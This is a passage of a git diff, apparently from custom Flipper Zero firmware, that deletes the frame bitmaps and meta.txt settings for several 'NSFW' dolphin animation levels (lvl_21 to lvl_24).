a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_4.bm deleted file mode 100644 index d93025037..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_5.bm deleted file mode 100644 index c7f270ac2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/meta.txt deleted file mode 100644 index cf387b42f..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 6 -Active frames: 0 -Frames order: 0 1 2 3 4 5 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_0.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_1.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_10.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_11.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_12.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_13.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_14.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_15.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_16.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_17.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_18.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_19.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_2.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_20.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_21.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_22.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_23.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_24.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_25.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_26.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_27.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_28.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_29.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_29.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_3.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_30.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_30.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_31.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_31.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_32.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_32.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_32.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_33.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_33.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_33.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_34.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_34.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_34.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_35.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_35.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_35.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_36.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_36.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_36.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_37.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_37.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_37.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_38.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_38.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_38.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_39.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_39.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_39.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_4.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_40.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_40.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_40.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_41.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_41.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_41.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_42.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_42.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_42.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_43.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_43.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_43.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_44.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_44.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_44.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_45.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_45.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_45.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_46.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_46.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_46.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_47.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_47.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_47.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_48.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_48.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_48.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_49.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_49.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_49.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_5.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_50.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_50.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_50.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_51.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_51.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_51.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_52.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_52.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_52.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_53.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_53.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_53.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_54.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_54.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_54.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_55.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_55.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_55.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_56.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_56.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_56.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_57.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_57.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_57.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_58.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_58.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_58.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_59.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_59.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_59.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_6.bm deleted file mode 100644 index dacc6be35..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_7.bm deleted file mode 100644 index cf189cb36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_8.bm deleted file mode 100644 index e66ca8219..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_9.bm deleted file mode 100644 index 42a5184d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/meta.txt deleted file mode 100644 index 350c8e366..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 60 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_0.bm deleted file mode 100644 index 139cb6387..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_1.bm deleted file mode 100644 index 38a454125..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_10.bm deleted file mode 100644 index 941f67dce..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_11.bm deleted file mode 100644 index 39b9642bd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_12.bm deleted file mode 100644 index 2c53dd682..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_13.bm deleted file mode 100644 index 4d41c5790..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_14.bm deleted file mode 100644 index 3d3c37c7c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_15.bm deleted file mode 100644 index e4f8e7831..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_16.bm deleted file mode 100644 index 777c3868e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_2.bm deleted file mode 100644 index 56278b867..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_3.bm deleted file mode 100644 index 39b9642bd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_4.bm deleted file mode 100644 index 303072084..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_5.bm deleted file mode 100644 index a3a3aa326..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_6.bm deleted file mode 100644 index c0726f731..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_7.bm deleted file mode 100644 index e4f8e7831..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_8.bm deleted file mode 100644 index 1e793d537..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_9.bm deleted file mode 100644 index 95c884813..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/meta.txt deleted file mode 100644 index 4ed718fa1..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_23/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 17 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_0.bm deleted file mode 100644 index 11c654e9b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_1.bm deleted file mode 100644 index 0bbbcf061..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_10.bm deleted file mode 100644 index 19b92af5b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_11.bm deleted file mode 100644 index 4e3f47e2d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_12.bm deleted file mode 100644 index 8075e8abd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_13.bm deleted file mode 100644 index dc691a28c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_14.bm deleted file mode 100644 index fda97708e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_15.bm deleted file mode 100644 index e384a0c85..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_16.bm deleted file mode 100644 index 1761d19d4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_17.bm deleted file mode 100644 index a35ace351..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_18.bm deleted file mode 100644 index 9b8b37303..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_19.bm deleted file mode 100644 index 1dd58c105..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_2.bm deleted file mode 100644 index 9159efef3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_24/frame_2.bm and /dev/null differ diff --git 